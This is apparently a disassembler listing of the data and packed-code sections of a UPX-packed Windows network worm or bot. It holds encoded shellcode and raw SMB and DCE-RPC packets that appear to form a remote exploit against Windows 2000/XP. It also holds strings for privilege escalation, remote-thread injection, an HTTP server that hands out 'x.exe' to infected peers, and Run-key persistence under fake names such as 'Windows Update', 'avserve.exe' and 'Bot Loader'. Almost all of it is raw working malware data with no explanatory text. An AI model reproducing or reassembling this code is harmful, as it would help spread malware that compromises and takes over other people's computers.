		dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch
		dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h,	0C999C999h
		dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h
		dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h
		dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h
		dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h
		dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h
		dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h,	99C99998h
		dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h,	98F3C8C8h
		dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h
		dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h
		dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch
		dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh
		dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h
		dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h,	2C66C096h
		dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h
		dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h,	26F434C9h
		dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h
		dd 9966DE5Fh, 0A8EC5AC9h, 99C999ADh, 99C999C9h,	0B7C999C9h
		dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6	dup(99C999C9h)
		dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h
		dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h,	83639D90h
		dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh
		dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h
		dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah,	9BAB9E59h
		dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h
		dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h
		dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh
		dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh
		dd 0
dword_309045B8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_309017B9+186o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_30904644	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+1BAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_309046F0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+1EEo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_309047D0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+8Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_309017B9+BFo
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_30904834	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+2D4o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_309048A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+308o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_30904944	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+4EEo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
dword_309049C4	dd 401495h, 3, 40707Ch,	1, 0 ; DATA XREF: sub_309017B9+51Co
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_30904A58	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+347o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_30904AC4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_309017B9+372o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_30904B38	dd 0			; DATA XREF: sub_309017B9+3A0o
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 3	dup(0)
		dd 586E6957h, 72502050h, 6Fh, 9	dup(0)
		db 2 dup(0)
dword_30904BF6	dd 1004600h		; DATA XREF: sub_309017B9+289r
		dw 1
		dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0)
dword_30904C30	dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0)
					; DATA XREF: sub_309017B9+41Bo
					; sub_309017B9+45Do
		dd 123C0000h, 751Ch, 0Eh dup(0)
; ---------------------------------------------------------------------------


loc_30904CA8:				; DATA XREF: sub_309017B9+44Ao
		jmp	short loc_30904CB0
; ---------------------------------------------------------------------------
		jmp	short loc_30904CB2
; ---------------------------------------------------------------------------
		align 10h


loc_30904CB0:				; CODE XREF: UPX0:loc_30904CA8j
					; DATA XREF: sub_309017B9+5Co
		pop	esp
		pop	esp


loc_30904CB2:				; CODE XREF: UPX0:30904CAAj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_30904CBC	dd 1CEC8166h		; DATA XREF: sub_309017B9+Dr
dword_30904CC0	dd 0E4FF07h		; DATA XREF: sub_309017B9+1Cr
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_30901D20+62o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_30901D20+39o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_30901D20+2Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_30901D20+1Bo
		align 4
aAdvapi32	db 'advapi32',0         ; DATA XREF: sub_30901D20+8o
					; sub_3090235D+D2o
		align 4
aUterm14	db 'uterm14',0          ; DATA XREF: sub_30901DA8:loc_30901E8Do
					; UPX0:309022FCo ...
aShell_traywnd	db 'Shell_TrayWnd',0    ; DATA XREF: sub_30901DA8+58o
		align 10h
aCreateremoteth	db 'CreateRemoteThread',0 ; DATA XREF: sub_30901DA8:loc_30901DEFo
		align 4
aVirtualallocex	db 'VirtualAllocEx',0   ; DATA XREF: sub_30901DA8+34o
		align 4
aKernel32	db 'kernel32',0         ; DATA XREF: sub_30901DA8+18o
		align 10h
dword_30904D70	dd 0E9F3F5h		; DATA XREF: sub_30902036+105o
aHttp1_1200Ok	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_30902036+F9o
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_30902036+85o
		db 0Dh,0Ah,0
		align 4
aHttp1_1200OkCo	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_30902036+71o
		db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0
		align 4
aGet		db 'GET',0              ; DATA XREF: sub_30902036+3Do
aFtpupd_exe	db 'ftpupd.exe',0       ; DATA XREF: UPX0:309022E7o
		align 4
aUser32		db 'user32',0           ; DATA XREF: sub_3090235D+D9o
		align 4
aMsvcrt		db 'msvcrt',0           ; DATA XREF: sub_3090235D+CBo
		align 4
aWininet	db 'wininet',0          ; DATA XREF: sub_3090235D+C4o
aWs2_32		db 'ws2_32',0           ; DATA XREF: sub_3090235D+B7o
		align 4
aU14		db 'u14',0              ; DATA XREF: sub_3090235D+A5o
aU13		db 'u13',0              ; DATA XREF: sub_3090235D+99o
aU12		db 'u12',0              ; DATA XREF: sub_3090235D+8Do
aU11		db 'u11',0              ; DATA XREF: sub_3090235D+81o
aU10		db 'u10',0              ; DATA XREF: sub_3090235D+75o
aU9		db 'u9',0               ; DATA XREF: sub_3090235D+69o
		align 4
aU8		db 'u8',0               ; DATA XREF: sub_3090235D+5Do
		align 10h
aU12x		db 'u12x',0             ; DATA XREF: sub_3090235D+51o
		align 4
aU11x		db 'u11x',0             ; DATA XREF: sub_3090235D+45o
		align 10h
aU10x		db 'u10x',0             ; DATA XREF: sub_3090235D+3Bo
		align 4
aU13x		db 'u13x',0             ; DATA XREF: sub_3090235D+22o
		align 10h
aHttpSDX_exe	db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_30902663+2Do
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_3090216F+23o
					; sub_30902937+5Fo ...
		align 4
aWindowsUpdate	db 'Windows Update',0   ; DATA XREF: sub_3090216F+1Co
					; sub_309029E5+87o ...
		align 4
aSmusmdxdnulxk	db 'smusmdxdnulxk',0    ; DATA XREF: sub_309015C7+4Fo
					; sub_30902AB1+57o ...
		align 4
		dd 2 dup(0)
aSoftwareMicr_0	db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_30902AB1+32o
aClient		db 'Client',0           ; DATA XREF: sub_30902AB1+BCo
					; sub_30902AB1+F8o
		align 10h
aId		db 'ID',0               ; DATA XREF: sub_30902AB1+37o
					; sub_30902AB1+75o
		align 4
aMsConfigV13	db 'MS Config v13',0    ; DATA XREF: sub_30902937+4Eo
		align 4
aAvserve2_exeup	db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_30902937+47o
		align 10h
aAvserve_exe	db 'avserve.exe',0      ; DATA XREF: sub_30902937+40o
aWindowsUpdateS	db 'Windows Update Service',0 ; DATA XREF: sub_30902937+39o
		align 4
aWinupdate	db 'WinUpdate',0        ; DATA XREF: sub_30902937+32o
		align 10h
aSystray	db 'SysTray',0          ; DATA XREF: sub_30902937+2Bo
aBotLoader	db 'Bot Loader',0       ; DATA XREF: sub_30902937+24o
		align 4
aSystemRestoreS	db 'System Restore Service',0 ; DATA XREF: sub_30902937+1Do
		align 4
aDiskDefragment	db 'Disk Defragmenter',0 ; DATA XREF: sub_30902937+16o
		align 10h
aWindowsSecurit	db 'Windows Security Manager',0 ; DATA XREF: sub_30902937+Fo
		align 4
a1:					; DATA XREF: sub_30902AB1+B7o
		unicode	0, <1>,0
		dd 6 dup(0)
dword_30904FB8	dd 0			; DATA XREF: sub_30902036+C7r
					; sub_3090216F+80w
dword_30904FBC	dd 0			; DATA XREF: sub_309015C7+43r
					; sub_3090216F+2Dw
dword_30904FC0	dd 0			; DATA XREF: sub_30902036+79r
					; sub_30902036:loc_309020E4r ...
dword_30904FC4	dd 44h			; DATA XREF: sub_30901DA8+C2r
					; UPX0:30902307w ...
dword_30904FC8	dd 0			; DATA XREF: sub_30902349+2r
					; sub_3090235D+33w
dword_30904FCC	dd 0			; DATA XREF: sub_3090216F+E0w
					; sub_30902663+20r
dword_30904FD0	dd 30900000h		; DATA XREF: sub_30901DA8+6r
					; UPX0:309022ECw
dword_30904FD4	dd 0			; DATA XREF: sub_309015C7+49r
					; sub_30902514+37o ...
dword_30904FD8	dd 0			; DATA XREF: UPX0:30902700w
					; UPX0:30902712w
word_30904FDC	dw 0			; DATA XREF: sub_309024B0+3Br
					; sub_30902514:loc_30902575r ...
		align 10h
dword_30904FE0	dd 0			; DATA XREF: sub_30902AB1+25w
					; sub_30902AB1+110w
		align 20h
UPX0		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00005000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 30905000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_30905000	dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h
					; DATA XREF: UPX1:30906B01o
		dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh
		dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h
		dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh
		dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h
		dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h
		dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh
		dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h
		dd 70637274h, 1004179h,	65746E49h, 636F6C72h, 4964656Bh
		dd 6572636Eh, 746E656Dh, 72430100h, 65746165h, 6E657645h
		dd 1004174h, 74696157h,	53726F46h, 6C676E69h, 6A624F65h
		dd 746365h, 69725701h, 69466574h, 100656Ch, 736F6C43h
		dd 6E614865h, 656C64h, 65724301h, 46657461h, 41656C69h
		dd 736C0100h, 656C7274h, 100416Eh, 7274736Ch, 41746163h
		dd 65470100h, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 47010041h, 6F4C7465h, 656C6163h, 6F666E49h, 53010041h
		dd 7065656Ch, 736C0100h, 70637274h, 416E79h, 74654701h
		dd 72727543h, 50746E65h, 65636F72h, 1007373h, 50746547h
		dd 41636F72h, 65726464h, 1007373h, 64616F4Ch, 7262694Ch
		dd 41797261h, 72570100h, 50657469h, 65636F72h, 654D7373h
		dd 79726F6Dh, 704F0100h, 72506E65h, 7365636Fh, 47010073h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 74654701h
		dd 6B636954h, 6E756F43h, 43010074h, 74616572h, 74754D65h
		dd 417865h, 65724301h, 54657461h, 61657268h, 43010064h
		dd 74616572h, 6F725065h, 73736563h, 53010041h, 76457465h
		dd 746E65h, 65704F01h, 6576456Eh, 41746Eh, 69784501h, 72685474h
		dd 646165h, 61655201h, 6C694664h, 47010065h, 69467465h
		dd 6953656Ch, 100657Ah,	74697845h, 636F7250h, 737365h
		dd 74654701h, 7473614Ch, 6F727245h, 44010072h, 74656C65h
		dd 6C694665h, 4165h, 0D1h, 0
		dd 67655201h, 61657243h, 654B6574h, 41784579h, 65520100h
		dd 74655367h, 756C6156h, 41784565h, 65520100h, 65755167h
		dd 61567972h, 4565756Ch, 1004178h, 4F676552h, 4B6E6570h
		dd 78457965h, 52010041h, 65446765h, 6574656Ch, 756C6156h
		dd 1004165h, 43676552h,	65736F6Ch, 79654Bh, 6F624101h
		dd 79537472h, 6D657473h, 74756853h, 6E776F64h, 43010041h
		dd 74707972h, 61657243h, 61486574h, 1006873h, 70797243h
		dd 73614874h, 74614468h, 43010061h, 74707972h, 69726556h
		dd 69537966h, 74616E67h, 41657275h, 72430100h, 44747079h
		dd 72747365h, 6148796Fh, 1006873h, 70797243h, 73654474h
		dd 796F7274h, 79654Bh, 79724301h, 65527470h, 7361656Ch
		dd 6E6F4365h, 74786574h, 72430100h, 41747079h, 69757163h
		dd 6F436572h, 7865746Eh, 1004174h, 70797243h, 706D4974h
		dd 4B74726Fh, 7965h, 0DEh, 0E8h, 61727301h, 100646Eh, 636D656Dh
		dd 1007970h, 6C727473h,	1006E65h, 736D656Dh, 1007465h
		dd 646E6172h, 655F0100h, 70656378h, 61685F74h, 656C646Eh
		dd 1003372h, 73727473h,	1007274h, 63727473h, 7268h, 0E9h
		dd 10Ch, 6E694601h, 6E695764h, 41776F64h, 65470100h, 726F4674h
		dd 6F726765h, 57646E75h, 6F646E69h, 47010077h, 69577465h
		dd 776F646Eh, 65726854h, 72506461h, 7365636Fh, 644973h
		dd 70737701h, 746E6972h, 4166h,	0F4h, 120h, 746E4901h
		dd 656E7265h, 65704F74h, 6C72556Eh, 49010041h, 7265746Eh
		dd 4F74656Eh, 416E6570h, 6E490100h, 6E726574h, 6C437465h
		dd 4865736Fh, 6C646E61h, 49010065h, 7265746Eh, 4774656Eh
		dd 6F437465h, 63656E6Eh, 53646574h, 65746174h, 6E490100h
		dd 6E726574h, 65527465h, 69466461h, 656Ch, 100h, 138h
		dd 0FF0073FFh, 0DFF0002h, 1FF00h, 0FF0039FFh, 34FF006Fh
		dd 17FF00h, 0FF000CFFh,	4FF0009h, 13FF00h, 0FF0010FFh
		dd 3FF0016h, 0
		dd 45500000h, 14C0000h,	9770002h, 40D2h, 0
		dd 0E00000h, 10B010Fh, 24000006h, 10000000h, 0
		dd 22DF0000h, 10000000h, 40000000h, 0
		db 90h
		db 30h,	0, 10h
		dd 2000000h, 40000h, 0
		dd 40000h, 0
		dd 50000000h, 4000000h,	0
		dd 20000h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 2C840000h, 8C0000h, 14h dup(0)
		dd 10000000h, 1780000h,	6 dup(0)
		dd 742E0000h, 747865h, 238C0000h, 10000000h, 24000000h
		dd 4000000h, 3 dup(0)
		dd 200000h, 642EE004h, 617461h,	0FE40000h, 40000000h, 10000000h
		dd 28000000h, 3	dup(0)
		dd 400000h, 4000C000h, 2E880000h, 44AE0000h, 484D0000h
		dd 0C3024A19h, 0A067B021h, 21633A0h, 0DCD75D03h, 0A73D7D4Ah
		dd 769F6801h, 9B3358E6h, 3A4A90DBh, 1B5AB7CCh, 1EDCD2E0h
		dd 6A768472h, 96F42A70h, 9B238CC4h, 5EC86003h, 7A97640Ah
		dd 9CF86C97h, 0A2280084h, 3C4B383Fh, 66ED9B2Ah,	10FCB26Ch
		dd 0DE86E298h, 167723Bh, 7E500FDCh, 0F0F90CE3h,	0AC687016h
		dd 0D328C00Dh, 6C4E33B7h, 0E52708C9h, 0DB0C7A04h, 364308A4h
		dd 2DC54C30h, 436425F9h, 2EDB1CD6h, 0E425DE40h,	41A8A497h
		dd 8C86DE44h, 40BCB613h, 1BDE5044h, 9B7AC910h, 94B71EB1h
		dd 3F21970Dh, 81DFF75Bh, 0E87CACF9h, 1624A580h,	68250600h
		dd 0D8391C52h, 1C9D4F92h, 96F41276h, 2C4CEF4Eh,	4C0AEF1Dh
		dd 1EC87C6Ah, 7B1B258Fh, 0C9BE4944h, 1F24C8EEh,	90E1547Bh
		dd 669FE924h, 0C4C976E6h, 0CF782449h, 296148EDh, 0F8821B20h
		dd 66F4150Ch, 611998CDh, 86C7A02h, 747C5E70h, 0F42C42E8h
		dd 1C09845Fh, 4DA781F7h, 204D1C54h, 0A0357FA4h,	41E06C05h
		dd 868F8F7h, 57375712h,	0F2625A74h, 4C142D93h, 4B74F80Eh
		dd 8E12D868h, 8682516Eh, 81E53D74h, 0D2CFDB0Bh,	0FF9C4120h
		dd 0E80FFC55h, 6B75E4B9h, 0AC503DAEh, 0F00E9628h, 9AB66002h
		dd 0F855077Eh, 0E48C0009h, 762760F8h, 0CF47558h, 0D8B1887h
		dd 0E25FFD0h, 0E7619D99h, 573C418Bh, 6468C103h,	77FDB25Fh
		dd 34488B84h, 8950788Bh, 0B0A0F44Dh, 0CD5468D8h, 0D8303152h
		dd 0F001F0ADh, 8A528D65h, 74EC1269h, 3831B6EDh,	0D7300DD6h
		dd 0E82110Ch, 8DF01009h, 0A9DB4D4Eh, 5051F84Dh,	0B22EC58Dh
		dd 68971418h, 2CAC412Ah, 5D8A341Dh, 6B03CAF8h, 68955D73h
		dd 57B3D434h, 8EDD59ABh, 0F05576C1h, 74CF7C7Dh,	51F03E45h
		dd 1BB6616Ch, 315350E9h, 0F1C45FA8h, 0D6F709E0h, 0D06A17FAh
		dd 3FEA6D5Bh, 3BEC5577h, 100574C7h, 4D771BEBh, 18F0B9B7h
		dd 59DD0E68h, 0EB05FC0Eh, 9AA40807h, 0EF7439A1h, 23170949h
		dd 513C5DC3h, 0F60E751h, 41146931h, 0D428964h, 75D6B425h
		dd 0AFDDB685h, 0E8B213B1h, 332D590Fh, 0C222675Dh, 0B8B66AF9h
		dd 89624E3Ch, 500C80DBh, 507D50A8h, 0E9AC2974h,	195DBC2Ch
		dd 0F8B57C20h, 574388B3h, 14247C8Bh, 8B067F98h,	177EC91Bh
		dd 0C2801A84h, 0C9AB8861h, 1E14FFEAh, 7CF73B46h, 3B2480E9h
		dd 43544400h, 0ADB78CEAh, 5A5F2E44h, 0DB5657ACh, 303A5D66h
		dd 732F8760h, 0C250F0DCh, 19DB112Dh, 0AA005650h, 871E77ACh
		dd 0C0956807h, 6849F405h, 0D6DD1936h, 0FFF00CFAh, 343408C7h
		dd 0D32D93DBh, 482E2ACCh, 4C0A0A75h, 335AE742h,	181A20BCh
		dd 2FBC650h, 0B8077C2Ch, 2C013B7Fh, 8B0C40h, 0E39D8B01h
		dd 8D51085Bh, 215F2444h, 0D5D3112Ch, 336C269h, 0D0072459h
		dd 7FA13BA1h, 0C42007BBh, 1FED992Fh, 0C8E433CFh, 10E7C1F8h
		dd 0C3510B85h, 6E19E6h,	125D8B02h, 391C0333h, 7AC1ABC0h
		dd 24067B7Ch, 9BC653ABh, 0C0451E11h, 855ECF0h, 0E5E46825h
		dd 135A0760h, 17C3E700h, 0E40666CCh, 35884228h,	34663764h
		dd 903D98EAh, 4FC044B7h, 63362C0Dh, 4D8CFE47h, 8598BAA5h
		dd 54DA149Bh, 81BF007Ch, 0A134775Fh, 7900B933h,	0C13BC72Bh
		dd 0EDEE0272h, 0C18BDD76h, 0A12949E1h, 0C70318B8h, 0C4B4AC23h
		dd 3D8452DFh, 6A2F7223h, 1B64F878h, 0EB3D6785h,	43E113C4h
		dd 6EE4D687h, 746815F2h, 7068030Bh, 0DB59D68Ah,	532D2F2Ch
		dd 7E455347h, 7663E8C4h, 0C28B17CCh, 19A3ED04h,	5730CE09h
		dd 74A4AFE7h, 0D08243EAh, 4E9468B3h, 86EA7799h,	6806D1AEh
		dd 1D89805Bh, 4BA92791h, 0CF176DB4h, 0C7B314DFh, 263C00F2h
		dd 53ED6D98h, 3A01027Bh, 5A8D1C96h, 0ED6A8093h,	6946CF40h
		dd 22741AD6h, 2FA3D4C0h, 0FF7AB3BDh, 97F1A310h,	0E95153FCh
		dd 49098D6Ch, 5BD03A79h, 6C466E1Fh, 5EEC2656h, 3509540Ch
		dd 10C27C2Dh, 56B35EF8h, 4BD2773Eh, 89E80C33h, 500EC5Dh
		dd 0FBB06FFFh, 1FFF25F6h, 0A3C33A04h, 0E77443CCh, 84CC8A12h
		dd 0F424DEAFh, 50DF74C9h, 0A42EA5Eh, 8CC2DD32h,	6458983Ch
		dd 0D7D1400Ch, 5F6E15F4h, 1FD807F8h, 48E5EC44h,	366891FDh
		dd 60FEA20h, 0CF53E2EBh, 0E1425CC1h, 9043455Fh,	1D7BAC01h
		dd 38A17066h, 11D6B033h, 0DB43D307h, 0D6D9023Eh, 0B198802Dh
		dd 68B09B0Dh, 0D0A3ABE8h, 1D8CE0E0h, 6E7C22B0h,	0DC1AC4A3h
		dd 0D8609D9Eh, 4552B73Dh, 1C0D29D8h, 0ECDF6704h, 1A331904h
		dd 235D68ADh, 0FB5FA413h, 0DEBEC344h, 99591379h, 6093569h
		dd 44C8B1ABh, 3A402C74h, 39025638h, 4868C388h, 7562D9AFh
		dd 70388FF3h, 0B95F43A3h, 0FC085B02h, 2D718A8h,	0F6032032h
		dd 382404C7h, 402C300Bh, 0E79A406h, 642428DDh, 20640640h
		dd 0D0BF181Ch, 59140643h, 39742039h, 634E0C68h,	4407CC3Bh
		dd 4E04DDA4h, 9309FC06h, 1C4D9193h, 0ECED40F4h,	120A0BB6h
		dd 216FD3AFh, 4C0AEC15h, 9CC93904h, 0DB26BF16h,	1E3AE87Dh
		dd 14054534h, 889E18F5h, 0E033C213h, 0E3EB4221h, 55AB14EAh
		dd 80C24301h, 0F0FCFBE6h, 801B6011h, 51467FA4h,	8F0B458Ah
		dd 45AADEC3h, 0DB32FF03h, 42363A52h, 0ECA6E97Ch, 5D3831E0h
		dd 5D8825D2h, 67F230Bh,	0B5073FB8h, 0DC35B70Fh,	0F7993BA4h
		dd 0CBD603FEh, 24019FF8h, 0FB80C3FEh, 5EBD72FFh, 0DA930260h
		dd 5F766265h, 870A08AAh, 6833764Ch, 0DB084F58h,	81D8604Ch
		dd 9390D0Ah, 8EC1530Bh,	756C6661h, 3B0F7526h, 4A36325Bh
		dd 89D224B0h, 3D2A323Dh, 0FF845BC8h, 8143D703h,	98D6C9FBh
		dd 9F2F1B7Ch, 245D875Fh, 0D74CAE7Bh, 0A200732Ch, 12DB7C7Fh
		dd 73992F78h, 0F8FF04FDh, 0FEF16F35h, 887F3C8Fh, 8BAD6BF7h
		dd 0D8B6C3B1h, 0DC8C3B49h, 4A33EAAh, 0A06764ECh, 572F9E57h
		dd 3DB9069Ch, 59F86F4Bh, 0FF251413h, 256E25E1h,	0EE75B354h
		dd 2710688Bh, 8EC3C0A6h, 0D3BED3ACh, 4C70849Eh,	0C6C19658h
		dd 64EF6A9h, 0B11CB58Ch, 72508F68h, 2DAF4E07h, 0F29868BAh
		dd 0EDF020D3h, 30BCC99h, 4E5068B0h, 25DEACD4h, 0CD111037h
		dd 0A26C42F2h, 77D326Ch, 0DF0B80C6h, 565544DFh,	2C0B3BC0h
		dd 0D42A5793h, 3C3433E6h, 0A551AC26h, 83FD1F0Ch, 0F40E0EC1h
		dd 0FA5314FBh, 6CD5B7F6h, 6A020B77h, 5DD83850h,	1AD205D2h
		dd 96FB5E87h, 9187400h,	0BB109A11h, 5E60E13h, 4F001419h
		dd 5F1606D8h, 0A27E103h, 0D7456AAh, 4203D553h, 51C7B62Ch
		dd 4C39AA10h, 4A1BE86Bh, 85ED3A67h, 3E117EEDh, 8776179Ch
		dd 4D590F6Dh, 596EF14h,	8BF2EBA2h, 0DC1925Bh, 0DDEB6575h
		dd 68981693h, 1B3F6807h, 16232FB4h, 150C0C8Ch, 58706E42h
		dd 810677Ch, 0CB51C814h, 0CF2E8E16h, 0D0955618h, 718CF618h
		dd 563E6361h, 2ADC743Dh, 433816DDh, 506C6192h, 702D1020h
		dd 8182CB2h, 215E5003h,	0F8BF166h, 7AC68B55h, 6B3B2692h
		dd 2C562E5Dh, 555653h, 4060B16Bh, 520ABE27h, 39640E49h
